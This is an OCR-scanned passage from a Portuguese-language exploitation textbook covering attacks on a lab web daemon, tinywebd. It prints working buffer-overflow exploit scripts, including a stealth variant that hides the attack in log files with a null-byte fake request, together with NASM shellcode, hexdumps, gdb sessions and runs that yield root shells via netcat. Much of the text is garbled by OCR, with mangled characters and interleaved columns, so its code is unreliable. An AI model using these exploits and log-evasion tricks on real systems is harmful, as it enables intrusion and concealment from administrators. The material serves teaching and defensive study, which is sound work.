(primeiro plano). No LiveCD, o simbolo arroba (@) no prompt do comando
mudaré de cor se houver servicos em segundo plano, que também podem
ser listados por meio do comando jobs. Quando o buffer de exploragao
é transportado para o netcat, a opcao -w € usada para dizer a ele para
esgotar o tempo apés um segundo. Em seguida, o processo netcat em
segundo plano que recebeu a shell connect-back pode ser retomada.
Tudo funciona corretamente, mas se um shellcode de tamanho diferente é
usado, o tamanho do sled NOP deve ser recalculado. Todos esses passos
repetitivos podem ser colocados em um Gnico shell script.
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A shell BASH considera estruturas de controle simples. A declaracio
if no comeco desse script serve apenas para verificagao de erro e exibe
a mensagem de uso. Varidveis da shell sdo usadas para a disposigéo e
transcrigdo do enderecgo de retorno, assim elas podem ser alteradas facil-
mente para um alvo diferente. O shellcode utilizado para a exploragao &
passado como um pardmetro de linha de comando, o qual faz deste uma
ferramenta Gtil para tester uma variedade de shellcodes.

xtool_tinywebd.sh

#!/bin/sh
# Uma ferramenta para exploit de tinywebd

if [ -z “$2” ]; then # If argument 2 is blank
echo “Usage: $0 <shellcode file> <target IP>”"
exit

£i

OFFSET=540

RETADDR="\x24\xf6\xff\xbf” # At +100 bytes from buffer @ Oxbffff5c0
echo “target IP: $2”

SIZE="wc -c $1 | cut -f1 -d ' V'

echo “shellcode: $1 ($SIZE bytes)”

ALIGNED _ SLED _ SIZE=$((SOFFSET+4 - (32*4) - $SIZE))

echo “[NOP ($SALIGNED _ SLED _ SIZE bytes)] [shellcode ($SIZE bytes)] [ret
addr ($((4*32)) bytes)]”

( perl -e “print \”\x90\”x$ALIGNED _ SLED _ SIZE";

cat $1;

perl -e “print \”$RETADDR\”x32 . \”\r\n\””;) | nc -w 1 -v $2 80

Note que esse script repete o endereco de retorno mais trinta e trés
vezes, mas utiliza 128 bytes (32x4) para calcular o tamanho do sled.
Isso coloca uma copia extra do endere¢o de retorno passado onde o
deslocamento é declarado. As vezes, opgoes diferentes de compilador
mudardo um pouco o enderego de retorno, assim a exploracao se torna
mais confiavel. A saida a seguir mostra essa ferramenta sendo usada na
exploracao do daemon tinyweb mais uma vez, mas com o shellcode de
port-binding.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./xtool _tinywebd.sh portbinding _ shellcode
127.0.0.1 -
target IP: 127.0.0.1

shellcode: portbinding _ shellcode (92 bytes)

[NOP (324 bytes)] [shellcode (92 bytes)] [ret addr (128 bytes)]
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337

localhost [127.0.0.1] 31337 (?) open

whoami

root
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Agora que o lado invasor é armado com um script de exploit, considere
o que acontece quando ele é usado. Se vocé nao fosse o administrador
do servidor que esta executando o daemon tinyweb, quais seriam os
primeiros sinais para indicar que vocé foi hackeado?

0x640 Arquivos de log

Um dos dois sinais mais ébvios de invasao é o arquivo de log. Esse
arquivo, mantido pelo daemon tinyweb, € um dos primeiros lugares onde
se deve procurar quando se deseja resolver um problema. Mesmo que o
exploit do invasor tenha sido bem-sucedido, o arquivo de log mantém um
registro extremamente 6bvio de que alguma coisa estéa acontecendo.

tinywebd Log File

reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log

07/25/2007 14:55:45> Starting up.

07/25/2007 14:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK

07/25/2007 17:49:14> From 127.0.0.1:50201 “GET / HTTP/1.1” 200 OK

07/25/2007 17:49:14> From 127.0.0.1:50202 “GET /image.jpg HTTP/1.1” 200 OK
07/25/2007 17:49:14> From 127.0.0.1:50203 “GET /favicon.ico HTTP/1.1” 404 Not Found
07/25/2007 17:57:21> Shutting down.

08/01/2007 15:43:08> Starting up..

08/01/2007 15:43:41> From 127.0.0.1:4539%6 “O0O000COO0OO
oo OO OOO000 00000000000
OO0 000 O0D0000
OOO00000o00 DO0000000000000K 0000000
fOTS fhzifsSOOj QvOOC DOOOIO? IyOOo
Rh//shh/bin0O0ROOSO0 $000$000$000$000$000$0
D_H_mDDDmDDDm_H_DDmDDDmDDDmDDDmDD_UmDDDmD_H_DmD_UDmDDDmDDDMDDDmDDDmDDDmDDD
$O00sO

0o$000$000$000$000$000$000$000$000” NOT HTTP!

reader@hacking:~/booksrc $

OO0
00000
DOOCO0000O00000O0CO0000000
005 £X010CRF § OO OjfXCh OO

E claro que, nesse caso, apos o invasor ganhar uma shell de root, ele
pode editar apenas o arquivo de log uma vez que eles estao no mesmo
sistema. Em redes seguras, no entanto, copias de logs geralmente sao
enviadas para outro sevidor seguro. Em casos extremos, os logs sao
enviados para uma impressora para uma cépia impressa, assim ha um
relatério fisico. Esses tipos de medida defensiva evitam a adulteracao dos
logs apds uma exploracao bem-sucedida.

0x641 Misturado a multidao

Mesmo que os arquivos de log ndo possam ser alterados, ocasional-
mente o que é logado pode. Os arquivos de log normalmente contém
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muitas entradas validas, considerando que as tentativas de uso de exploj
sao muito evidentes. O programa daemon tinyweb pode ser induzido X
uma autenticacao para uma entrada aparentemente valida para uma ﬁm:m
B:<m.am uso de exploit. Veja o cédigo-fonte e tente compreender com X
fazer isto antes de continuar. A ideia é fazer com que a entrada de log mm
pareca com uma solicitacao vélida da Web, como o seguinte:

07/22/2007  17:57:00> From 127.0.0.1:38127 “HEAD / HTTP/1.0” 200 OK

07/25/2007  14:49:14> From 127.0.0.1:50201 “GET / HTTP/1.1” 200 OK

07/25/2007  14:49:14> From 127.0.0.1:50202 “GET /image.jpg HTTP/1.1” 200 OK
07/25/2007  14:49:14> From 127.0.0.1:50203 “GET /favicon.ico HTTP/1.1” 404 Not Foung

.mmwm tipo de disfarce é muito eficiente em grandes empresas com ar-
quivos de log extensos, desde que existam muitos pedidos vélidos para
se esconder entre eles. E mais facil se misturar em um shopping cheio do
que em uma rua vazia. Mas como exatamente vocé esconde um exploit
de _u_wmmq grande e feio na conhecida pele de cordeiro?

Ha um erro simples no cédigo da fonte do daemon tinyweb que permite
a requisicao de buffers que séo truncados assim que sao usados para a
mm&w de log de arquivo, mas ndo quando sao copiados para a memoria. A
fungdo recv _ line() usa/r/n como delimitadores; no entanto, todas as
outras fungoes de string padrao utilizam um byte nulo como delimitador.
Essas fungoes de string sdo usadas para gravar o arquivo de log, mmm::.
pelo uso estratégico de ambos os delimitadores, os dados gravados :m
log podem ser controlados parcialmente.

) O seguinte script de exploit coloca uma solicitacao aparentemente
vélida na frente do resto dele. O sled NOP é reduzido para acomodar os
novos dados.

xtool_tinywebd_stealth.sh

#!/bin/sh
# stealth exploitation tool
if [ -z “$2” ]; then # If argument 2 is blank
mowo “Usage: $0 <shellcode file> <target IP>”
exit
fi
FAKEREQUEST="GET / HTTP/1.1\x00”
FR _ SIZE=$(perl -e “print \”$FAKEREQUEST\”” | wc -c | cut -fl1 -d ‘ ‘)
OFFSET=540

RETADDR="\x24\xf6\xff\xbf” # At +100 bytes from buffer @ Oxbffff5c0
echo “target IP: $2”

SIZE="wc -c $1 | cut -fl -4 ' “°

echo “shellcode: $1 ($SIZE bytes)”

echo “fake request: \”$FAKEREQUEST\” ($FR _SIZE bytes)”

ALIGNED _ SLED _ SIZE=$((SOFFSET+4 - (32*4) & $SIZE - $FR SIZE))

echo “[Fake Request ($FR_SIZE b)] [NOP (SALIGNED S
_ LED SIZE b
[shellcode ($SIZE b)] [ret addr ($((4*32)) b)1” - - .
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‘

(perl -e “print \”$FAKEREQUEST\” . \”\x90\”x$ALIGNED _ SLED _ SIZE";

cat $1;
perl -e “print \”$RETADDR\"x32 . \”\r\n\””) | nc -w 1 -v $2 80

Esse novo exploit de buffer usa um delimitador com byte nulo finalizar
a solicitagao falsa disfargada. Um byte nulo nao interrompera a funcao
recv _line(),assimorestodo buffer de exploragao é copiado para a pilha.
Uma vez que as funcodes de string usadas para gravar no log usam um byte
nulo para a finalizagéo, a solicitagao falsa é logada e o resto da exploragao
é escondido. A saida a seguir mostra este mozvm de exploit em uso.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ nc -1 -p 31337 &

(1] 7714

reader@hacking:~/booksrc $ jobs

[1]+ Running nc -1 -p 31337 &

reader@hacking:~/booksrc $ ./xtool _tinywebd _ steath.sh loopback _ shell 127.0.0.1

target IP: 127.0.0.1

shellcode: loopback _ shell (83 bytes)

fake request: «GET / HTTP/1.1\x00» (15 bytes)

[Fake Request (15 b)] [NOP (318 b)] [shellcode (83 b)] ([ret addr (128 b))
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $§ fg

nc -1 -p 31337

whoami

root

A conexao usada por esse exploit cria entradas para o seguinte arquivo
de log no servidor.

08/02/2007 13:37:36> Starting up..
08/02/2007 13:37:44> From 127.0.0.1:32828 “GET / HTTP/1.1” 200 OK

Mesmo que o endereco IP logado nao possa ser alterado utilizando
esse método, a propria solicitagdo ja aparece valida, assim ela nao cha-
mara muita atengao.

0x650 Ignorando o 6bvio

No cenério do mundo real, o outro sinal 6bvio de invaséo ¢ bem mais
aparente que os arquivos de log. No entanto, quando testado, isso € algo
que acaba sendo facilmente ignorado. Se os arquivos de log se parecem
com o sinal mais 6bvio de invasao para vocé, entao vocé estd se esquecendo
da perda de servigo. Quando o daemon tinyweb é explorado, o processo
é enganado para fornecer uma shell de root remota, mas ele nao processa
muitas solicitagbes Web. No mundo real, esse exploit seria detectado quase
que imediatamente quando alguém tenta acessar o website.
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Um hacker habilidoso pode ndo apenas arrombar e abrir um programg
para explora-lo como também colocar o programa de volta novamente ¢
manté-lo em execugdo. O programa continua a processar as solicitagoeg
e a impressao é de que nada aconteceu.

0x651 Um passo por vez

As exploragdes complexas sao dificeis porque muitas coisas diferentes
podem dar errado, sem nenhuma indicacao da causa original. Visto que
pode-se levar horas para apenas rastrear onde o erro ocorreu, geralmente
€ melhor quebrar um exploit complexo em partes menores. O resultado
final é um pedacgo de shellcode que resultara em uma shell que ainda
mantém o servidor tinyweb rodando. A shell é interativa, o que causa
algumas complicagdes, e por isso vamos lidar com ela depois. Por en-
quanto, o primeiro passo deve ser compreender como colocar o daemon
tinyweb de volta apds explora-lo. Vamos comecar escrevendo um pedago
do shellcode que faz alguma coisa para provar que esta sendo executa-
do, e entdao colocaremos o daemon tinyweb de volta e assim poderemos
processar outras solicitacoes Web.

Uma vez que o daemon tinyweb redireciona a saida padrao para /dev/null,
gravar em uma saida padrao nao é um sinalizador confiavel para o shellcode.
Uma maneira simples de provar que o shellcode foi executado é criando um
arquivo. Isso pode ser feito por meio de uma chamada para open (), e entao
close (). Claro que a chamada open () precisaré dos flags apropriados para
criar um arquivo. N6s poderiamos olhar os arquivos de include para descobrir
oque 0O CREAT e todos os outros defines necessarios, na verdade, séo e
fazer com que todos os binarios sejam compativeis com os pardmetros, mas
esse assunto nao sera tratado aqui. Se vocé refizer achamada, ja fizemos algo
parecido com isso — o programa notetaker faz uma chamada para open (), que
criard um arquivo se ele nao existir. O programa strace pode ser usado em
qualquer programa para mostrar todas as chamadas de sistema que ele faz.
Na saida a seguir, ele é usado para verificar os parametros de open () em C
combinando com chamadas de sistema puras.

reader@hacking:~/booksrc $ strace ./notetaker test

execve (“./notetaker”, [“./notetaker”, “test”], [/* 27 vars */]) =0
brk(0) = 0x804a000
access(“/etc/ld.so.nohwcap”, F_ OK) = -1 ENOENT (No such file or directory)

mmap2 (NULL, 8192, PROT _ READ|PROT _ WRITE, MAP _ PRIVATE|MAP _ ANONYMOUS, -1, 0)
= 0xb7£e5000

access(“/etc/ld.so.preload”, R_ OK) = -1 ENOENT (No such file or directory)
open(“/etc/ld.so.cache”, O _RDONLY) = 3

fstat64(3, {st _mode=S _ IFREG|0644, st _size=70799, ..}) =0

mmap2 (NULL, 70799, PROT _READ, MAP _ PRIVATE, 3, 0) = 0xb7fd3000

close (3) =0

access (“/etc/ld.so.nohwcap”, F _OK) = -1 ENOENT (No such file or directory)
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ovm:A:\Ed\ﬁpm\wmmm\oao,\\w.wcn.m.o.m:, O _RDONLY) = 3

read (3, "\ 177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\0"\1\000".., 512) = 512
fstat64(3, {st _mode=S _ IFREG|0644, st _ size=1307104, ..}) =0

amap2 (NULL, 1312164, PROT _READ|PROT _EXEC, MAP _PRIVATE|MAP _DENYWRITE, 3,
0) = 0xb7e92000

mmap2 (0xb7fcd000, 12288, PROT _ READ|PROT _ WRITE, MAP _ PRIVATE|MAP _ FIXED|MAP
DENYWRITE, 3, 0x13b) = 0xb7fcd000 B
nmap2 (0xb7£d0000, 9636, PROT _ READ|PROT _WRITE, MAP _PRIVATE|MAP _FIXED|MAP _
ANONYMOUS, -1, 0) = 0xb7£d0000

close(3) =0

mmap2 (NULL, 4096, PROT _ READ|PROT _ WRITE, MAP _ PRIVATE|MAP _ ANONYMOUS, -1, 0)
= 0xb7e91000 : N

set _ thread _ area({entry number:-1 -> 6, base _ addr:0xb7e916c0, 1limit:1048575,
seg _ 32bit:1,

no:.nlmSﬁm“o\ read _exec _only:0, limit _ in _pages:1l, seg _not _ present:0,
useable:1l}) = 0

:;uHOﬁanoqumnaoo? 4096, PROT _ READ) = 0

munmap (0xb7£d3000, 70799) =0

brk(0) = 0x804a000

brk (0x806b000) = 0x806b000

fstat64(l, {st _mode=S _ IFCHR|0620, st _rdev=makedev (136, 2), ..}) =0

mmap2 (NULL, 4096, PROT _ READ|PROT _ WRITE, MAP _ PRIVATE|MAP _ ANONYMOUS, -1, 0)
= 0xb7fe4000

write (1, “[DEBUG] buffer @ 0x804a008: \’t”.., 37[DEBUG] buffer @ 0x804a008: ‘test’

) = 37

write(l, “[DEBUG] datafile @ 0x804a070: \'/”.., 43[DEBUG] datafile @ 0x804a070:
‘/var/notes’

) = 43

open(“/var/notes”, O _ WRONLY|O _ APPEND|O _ CREAT, 0600) = -1 EACCES (Permission denied)
dup (2) =3

fcntl64(3, F_ GETFL) = 0x2 (flags O _ RDWR)

fstat64(3, {st _mode=S IFCHR|0620, st _rdev=makedev (136, 2), ..}) =0

mmap2 (NULL, 4096, PROT _ READ|PROT _ WRITE, Zwm\meSyem_melm/ZOZMZOcm‘ =1, 0)
= 0xb7fe3000
|E.mmmfw~ 0, Oxbffffde4, SEEK _CUR) = -1 ESPIPE (Illegal seek)
write(3, “[!!] Fatal Error in main() while”.., 65[!!] Fatal Error in main()
while opening file:
Permission denied
) = 65
close(3) =0
munmap (0xb7£fe3000, 4096) =0
exit _ group(-1) = ?
Process 21473 detached
reader@hacking:~/booksrc $ grep open notetaker.c

fd = open(datafile, OISmOZbM#O!mebe_01>mmmzP mIHwCMEm\HSGmw:

fatal(“in main() while opening file”);

reader@hacking:~/booksrc $

Quando rodamos o strace, o suid-bit binario do notetaker nao € usado— as-
sim, ele ndo tem permissao para abrir o arquivo de dados. De qualquer forma,
isso ndao tem importancia; sé queremos nos certificar que os parémetros para
achamada de sistema open () coincidem com os pardmetros dachamada de
open () em C. Uma vez que isso seja verdade, podemos seguramente usar
os valores passados para o método open () no binério do notetaker como
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0s parametros para a chamada de sistema open()
compilador ja fez todo o traba|

um operador binario OR; ngg precisamos ap

para a desmontagem do binj

reader@hacking:~/booksrc $ gdb

Using host H.,:u,n:HmmalaU
db.so.1”.

(gdb) set dis intel

(gdb) disass main

Dump of assembler code for

0x0804875f <main+0>: push

0x08048760 <main+1>: mov
0x08048762 <main+3>: sub
0x08048765 <main+6>: and
0x08048768 <main+9>: mov
0x0804876d <main+14>: sub
0x0804876f <main+16>: mov

0x08048776 <main+23>: call 0x8048601

0x0804877b <main+28>: mov
0x0804877¢ <main+31>: mov
0x08048785 <main+38>: call
0x0804878a <main+43>: mov
0x0804878d <main+46>: mov
0x08048795 <main+54>: mov
0x08048798 <main+57>: mov
0x0804879b <main+60>: call
0x080487a0 <main+65>: cmp
0x080487a4 <main+69>: jig

0x080487a6 <main+71>: mov
0x080487a9 <main+74>: mov
0x080487ad <main+78>: mov
0x080487b0 <main+81>: mov
0x080487b2 <main+83>: mov
0x080487b5 <main+86>: call
0x080487ba <main+91>: mov
0x080487bd <main+94>: add
0x080487c0 <main+97>: mov
0x080487c2 <main+99>: mov
0x080487c6 <main+103>: mov
0x080487c9 <main+106>: mov
0x080487cc  <main+109>: call
0x080487d1 <main+114>-: mov
0x080487d4 <main+117>: mov
0x080487d8 <main+121>: mov
0x080487db <main+124>: mov

0x080487df <main+128>: mov
0x080487e6 <main+135>: call
0x080487eb <main+140>: mov

0x080487ee <main+143>: mov

0x080487f2 <main+147>: mov

0x080487f5 <main+150>: mov

0x080487f9 <main+154>: mov

0x08048800 <main+161>: call

384 Hacking

€M Nosso shellcode, 0
ho de procurar os defines e misturé-los com

| enas encontrar os parémetrog
rio do notetaker.

~q ./notetaker
HPmeHMx :\HHU\nHw\Hmmm\oao<\wwcn:mmma

function main:

ebp

m&pmm@

€sp,0x28

esp,0xfffffffQ

eax,0x0

esp,eax

DWORD PTR [esp],0x64
<ec _malloc>
DWORD PTR [ebp-12],eax
DWORD PTR [esp],0x14
0x8048601 <ec _malloc>
DWORD PTR [ebp-16],eax
DWORD PTR [esp+4],0x8048a9f
eax,DWORD PTR [ebp-16]
DWORD PTR [esp],eax
0x8048480 <strcpy@plt>
DWORD PTR [ebp+8],0x1
0x80487ba <main+91>
€ax, DWORD PTR [ebp-16]
DWORD PTR [esp+4],eax
€ax,DWORD PTR [ebp+12]
€ax, DWORD PTR [eax]
DWORD PTR [esp],eax
0x8048733 <usage>

€ax, DWORD PTR [ebp+12]
eax,0x4

€ax, DWORD PTR [eax]
DWORD PTR [esp+4],eax
€ax,DWORD PTR [ebp-12]
DWORD PTR [esp],eax
0x8048480 <strcpy@plt>
eax, DWORD PTR [ebp-12]
DWORD PTR [esp+8],eax
€ax, DWORD PTR [ebp-12]
DWORD PTR [esp+4],eax
DWORD PTR [esp],0x8048aaa
0x8048490 <printf@plt>
€ax,DWORD PTR [ebp-16]
DWORD PTR [esp+8],eax
€ax,DWORD PTR [ebp-16]
DWORD PTR [esp+4],eax
DWORD PTR [esp],0x8048ac7
0x8048490 <printf@plt>

0x08048805 <main+166>: mov DWORD PTR Fm«im?o%ﬂMM
0x0804880d <main+174>: mov  DWORD PTR Houwt:_oxm
0x08048815 <main+182>: mov  eax,DWORD PTR [ebp-16]
0x08048818 <main+185>: mov  DWORD PTR _”mum&\mmhn
0x0804881lb <main+188>: call 0x8048410 <open@p .nnv|||
---Type <return> to continue, or g <return> to qui q

Quit
(gdb)

Lembre-se que os parametros para uma o:mBQO.&m mmmﬂmB.m .mmz..o colo-
cados na pilha de forma inversa. Nesse caso, o compitador decidiu m_mmw mov
DWORD PTR [esp+offset], value _ to _ @cm: _to_ stack ao inves .am
instrucoes push, mas a estrutura construida na m__:m € equivalente. O primeiro
parametro é um ponteiro para o nome do arquivo em EAX, o segundo paréa-
metro (put at [esp+4]) é 0x441, e o terceiro pardmetro (put at \ﬁmmmim:
€ 0x180. Isso significaque 0 0 WRONLY|O _ owmﬁ.o _ wmmmzo sera oxﬁﬁ e
S TRUSR|S IWUSRsera 0x180.0 shellcode aseguir utiliza valores para criar
um arquivo chamado Hacked no arquivo de sistema do root.

Mark.s

BITS 32

i é executou.
i VO para provar que Vvocé o
; Marca o sistema de arqui P P
jmp short one
two: .
pop ebx ; Nome do arquivo
XOr ecx, ecx ) )
mov BYTE [ebx+7], cl ; Nome do arquivo com terminador nulo

push BYTE 0x5 ; Open()

pop eax

mov WORD cx, 0x441 ; O _ WRONLY|O _ APPEND|O _ CREAT

xor edx, edx

mov WORD dx, 0x180 ; thWme_th.z.cmw

int 0x80 ; Abre o arquivo para cria-lo.

; eax = descritor do arquivo retornado

mov ebx, eax ; Descritor do arquivo para o segundo argumento

push BYTE 0x6 ; Close ()

pop eax

int 0x80 ; Fecha arquivo.

Xor eax, eax

mov ebx, eax

inc eax ; Exit call. ) o

int 0x80 ; Exit(0), para evitar um loop infinito.
one:

call two
db “/HackedX”
; 01234567

O shellcode abre um arquivo para cria-lo e entao NBm&mﬂmBmaﬁ 0
fecha. Finalmente, ele chama o comando exit para evitar um loop infinito.
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O output a seguir mostra este novo shellcode sendo usado com a ferra-

menta de exploit.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ nasm mark.s

reader@hacking:~/booksrc $ hexdump -C mark

00000000 eb 23 5b 31 c9 88 4b 07 6a 05 58 66 b9 41 04 31 |.#[1.K.j.Xf.A.1]
00000010 d2 66 ba 80 01 cd 80 89 c3 6a 06 58 cd 80 31 cO |.f....J.X.1.]
00000020 89 c3 40 cd 80 e8 d8 ff ff ff 2f 48 61 63 6b 65 |.@..../Hacke|
00000030 64 58 |dX|

00000032

reader@hacking:~/booksrc $ 1ls -1 /Hacked

1s: /Hacked: No such file or directory

reader@hacking:~/booksrc $ .\xﬁOOHIn»:u\smvalmnmmnﬁ.m: mark 127.0.0.1
target IP: 127.0.0.1

shellcode: mark (44 bytes)

fake request: “GET / HTTP/1.1\x00” (15 bytes)

[Fake Request (15 b)] [NOP (357 b)] [shellcode (44 b)] [ret addr (128 b)]
localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ 1ls -1 /Hacked

e . 1 root reader 0 2007-09-17 16:59 /Hacked
reader@hacking:~/booksrc $

0x652 Juntando tudo novamente

0x08048£58 <main+453>: mov  DWORD PTR [esp],0x80496la
0x08048£f5f <main+460>: call 0x8048ac4 <fatal>
0x08048£64 <main+465>: nop ’

0x08048£65 <main+466>: mov DWORD PTR [ebp-60],0x10

0x08048f6c <main+473>: lea eax, [ebp-60]

0x08048f6f <main+476>: mov DWORD PTR [esp+8],eax
0x08048f73 <main+480>: lea eax, [ebp-56]

0x08048f76 <main+483>: mov DWORD PTR [esp+4],eax
0x08048f7a <main+487>: mov eax,ds:0x804a970

0x08048f7f <main+492>: mov DWORD PTR [esp],eax
0x08048£82 <main+495>: call 0x80488d0 <accept@plt>
0x08048£87 <main+500>: mov DWORD PTR [ebp-12],eax
0x08048f8a <main+503>: cmp DWORD PTR [ebp-12],0xffffffff
0x08048f8e <main+507>: jne 0x8048f9c <main+521>
0x08048£90 <main+509>: mov ~ DWORD PTR [esp],0x804962e
0x08048f97 <main+516>: call 0x8048ac4 <fatal>

0x08048f9c <main+521>: mov eax,ds:0x804a96¢c

0x08048fal <main+526>: mov DWORD PTR [esp+8],eax
0x08048fa5 <main+530>: lea eax, [ebp-56]

0x08048fa8 <main+533>: mov DWORD PTR [esp+4],eax
0x08048fac <main+537>: mov  eax,DWORD PTR [ebp-12]
0x08048faf <main+540>: mov DWORD PTR [esp],eax
0x08048fb2 <main+543>: call 0x8048fb9 <handle _ connection>
0x08048£fb7 <main+548>: jmp  0x8048£65 <main+466>

End of assembler dump.

(gdb)

Todos os trés enderegos basicamente vao para o mesmo lugar. Vamos
usar o 0x08048fb7 j4 que esse é o retorno do endereco original usado

Para juntar tudo novamente, precisamos reparar qualquer efeito co-
lateral causado pela sobrescricao e/ou pelo shellcode, e entao pular a
execucao de volta para o loop de aceitacao de conexao main(). A des-
montagem de main () na saida a seguir mostra que podemos retornar,
com seguranga, aos enderecos 0x08048£64, 0x08048£65 ou 0x08048fb7
para voltar para a conexao e aceitar o loop.

parachamar ohandle connection().No entanto, existem outras coisas
que precisamos consertar primeiro. Olhe o inicio e final da fung@o hand-
le connection (). Essas sao as instrucdes que definem e removem as

estruturas de dados de pilha nela.

(gdb) disass handle _ connection

Dump of assembler code for function handle _ connection:

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ gdb -q ./a.out

Using host libthread _db library “/1lib/t1ls/i686/cmov/libthread _ db.so.l”.
(gdb) disass main

pump of assembler code for function main:

0x08048d93 <main+0>: push ebp

0x08048d94 <main+l>: mov ebp,esp
0x08048d96 <main+3>: sub esp,0x68
0x08048d99 <main+6>: and esp,0xfffffffo
0x08048d9¢c <main+9>: mov eax,0x0
0x08048dal <main+14>: sub esp,eax

.:[ output trimmed ]:.

0x08048f4b <main+440>: mov DWORD PTR [esp],eax
0x08048fde <main+443>: call 0x8048860 <listen@plt>
0x08048£53 <main+448>: cmp eax,Oxffffffff
0x08048£f56 <main+451>: jne 0x8048f64 <main+465>
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0x08048£fb9 <handle _ connection+0>: push ebp
0x08048fba <handle _ connection+l>: mov ebp,esp
0x08048fbc <handle _ connection+3>: push ebx

0x08048fbd <handle _ connection+4>: sub
0x08048fc3 <handle _ connection+l0>: lea
0x08048fc9 <handle _ connection+l6>: mov
0x08048fcd <handle _connection+20>: mov
0x08048fd0 <handle _ connection+23>: mov
0x08048fd3 <handle _ connection+26>: call
0x08048fd8 <handle _ connection+31>: mov
0x08048fde <handle _connection+37>: mov

esp,0x644

eax, [ebp-0x218]

DWORD PTR [esp+4],eax
eax,DWORD PTR [ebp+8]
DWORD PTR [esp],eax
0x8048cb0 <recv _ line>
DWORD PTR [ebp-0x620],eax
eax,DWORD PTR [ebp+12]

0x08048fel <handle _ connection+40>: movzx eax,WORD PTR [eax+2]

0x08048fe5 <handle _ connection+44>: mov
0x08048fe8 <handle _ connection+47>: call

DWORD PTR [esp],eax
0x80488f0 <ntohs@plt>

.:[ output trimmed ]:.

0x08049302 <handle _connection+841>: call 0x8048850 <write@plt>

Medidas defensivas 387



0x08049307 <handle _ connection+846>: mov DWORD PTR [esp+4],0x2
0x0804930f <handle _ connection+854>: mov eax,DWORD PTR [ebp+8]
0x08049312 <handle _connection+857>: mov  DWORD PTR [esp],eax
0x08049315 <handle _connection+860>: call 0x8048800 <shutdown@plt>
0x0804931a <handle _ connection+865>: add esp,0x644

0x08049320 <handle _ connection+871>: pop ebx

0x08049321 <handle _ connection+872>: pop ebp

0x08049322 <handle _ connection+873>: ret

End of assembler dump.
(gdb)

No comego da fungao, salvamos inicialmente os valores atuais dos
registros EBP e EBX colocando-os na pilha, e definindo EBP como o valor
atual de ESP, de forma que ele possa ser usado como ponto de referén-
cia para acessar as variaveis da pilha. Finalmente, os bytes 0x644 sao
armazenados na pilha por essas variaveis de pilha subtraindo do ESP. A
funcao final restaura o valor de ESP adicionando 0x644 de volta a ele e
restaurando os valores armazenados de EBX e EBP retirando-os da pilha
de volta para os registros.

As instrugdes de sobrescri¢ao sdo, na verdade, encontradas na funcao
recv _line(); no entanto, elas gravam os dados na estrutura de pilha
handle _connection(),assima sobrescricdo em questao s6 ocorre em
handle _connection(). O endereco de retorno que transcrevemos é
colocado na pilha quando handle connection() é chamada, de modo
que os valores armazenados para EBP e EBX, colocados na pilha no inicio
dafuncéo, estarao entre o endereco de retorno e o buffer corruptivel. Isso
significa que o EBP e o EBX serdo modificados quando o inicio da fungao é
executada. Uma vez que nao temos o controle da execugao do programa
até a instrucdo de retorno, todas as instrugdes entre a sobrescricao e a
instrucdo de retorno devem ser executadas. Primeiro, precisamos avaliar
quanto de prejuizo colateral ocorre devido a essas instrugdes extras apos
a sobrescricao. A instrugdo de montagem int3 cria o byte Oxcc, o qual é
literalmente um depurador breakpoint.

O shellcode a seguir utiliza a instrucdo int3 ao invés de sair. Este
breakpoint ser4 capturado pelo GDB, permitindo examinar o estado
exato do programa apds a execugéo do shellcode.

reader
Starti
reader
root

reader
reader
reader

warnin
Using
Attach
/cow/h
A prog
Progra
(gdb)
(gdb)

mark_break.s

(gdb)
Breakp
(gdb)

BITS 32

; Marca o sistema de arquivo para provar que vocé o executou.
jmp short one
two:
pop ebx
XOr ecx, ecx
mov BYTE [ebx+7], cl
push BYTE 0x5 ; Open()

;

Nome do arquivo

i

Nome de arquivo com terminador nulo
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0x8048fa8
0x8048fac
0x8048faf
0x8048£b2
0x8048fb7

pop eax

mov WORD cx, 0x441 ;7 O _ WRONLY|O _ APPEND|O _ CREAT

xor edx, edx

mov WORD dx, 0x180 ;7 S _ IRUSR|S _ IWUSR

int 0x80 ; Abre arquivo para criéa-lo.

; eax = descritor do arquivo

mov ebx, eax ; Descritor do arquivo para o segundo
argumento

push BYTE 0x6 ; Close ()

pop eax

int 0x80 ; Fecha o arquivo.

2 N

int3 ; zinterrupt
one:

call two

db “/HackedX”

Para usar esse shellcode, primeiro deve-se estabelecer o GDB para
depurar o daemon tinyweb. Na saida a seguir, um breakpoint é definido
antes que o handle connection() seja chamado. O objetivo é restau-
rar os registros modificados para o seu estado original encontrado neste
breakpoint.

@hacking:~/booksrc $
ng tiny web daemon.
@hacking:~/booksrc $ ps aux | grep tinywebd
23497 0.0 0.0 1636 356 2 Ss 17:08 0:00
23506 0.0 0.0 2880 748 pts/1 R+ 17:09 0:00
@hacking:~/booksrc $ gcc -g tinywebd.c
@hacking:~/booksrc $ sudo gdb -g -pid=23497 --symbols=./a.out

./tinywebd

./tinywebd
grep tinywebd

g: not using untrusted file “/home/reader/.gdbinit”

host libthread _db library “/lib/tls/i686/cmov/libthread _ db.so.l”.
ing to process 23497

ome/reader/booksrc/tinywebd: No such file or directory

ram is being debugged already. Kill it? (y or n)
m not killed.

set dis intel

x/5i main+533

n

<main+533>: mov DWORD PTR [esp+4],eax
<main+537>: mov eax,DWORD PTR [ebp-12]
<main+540>: mov DWORD PTR [esp],eax
<main+543>: call 0x8048fb9 <handle _ connection>
<main+548>: jmp 0x8048£65 <main+466>

break *0x8048fb2

oint 1 at 0x8048fb2: file tinywebd.c, line 72.

cont

Continuing.

Na saida anterior, um breakpoint é definido antes que o handle con-

nection() seja chamado (mostrado em negrito). Entdo, em outra janela
do terminal, a ferramenta de exploit é usada para langar o novo shellcode
nele. Isso avangara a execucao para o breakpoint no outro terminal.
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reader@hacking:~/booksrc $ nasm mark _ break.s
reader@hacking:~/booksrc $ ./xtool _ tinywebd.sh mark _break 127.0.0.;
target IP: 127.0.0.1

shellcode: mark _break (44 bytes)

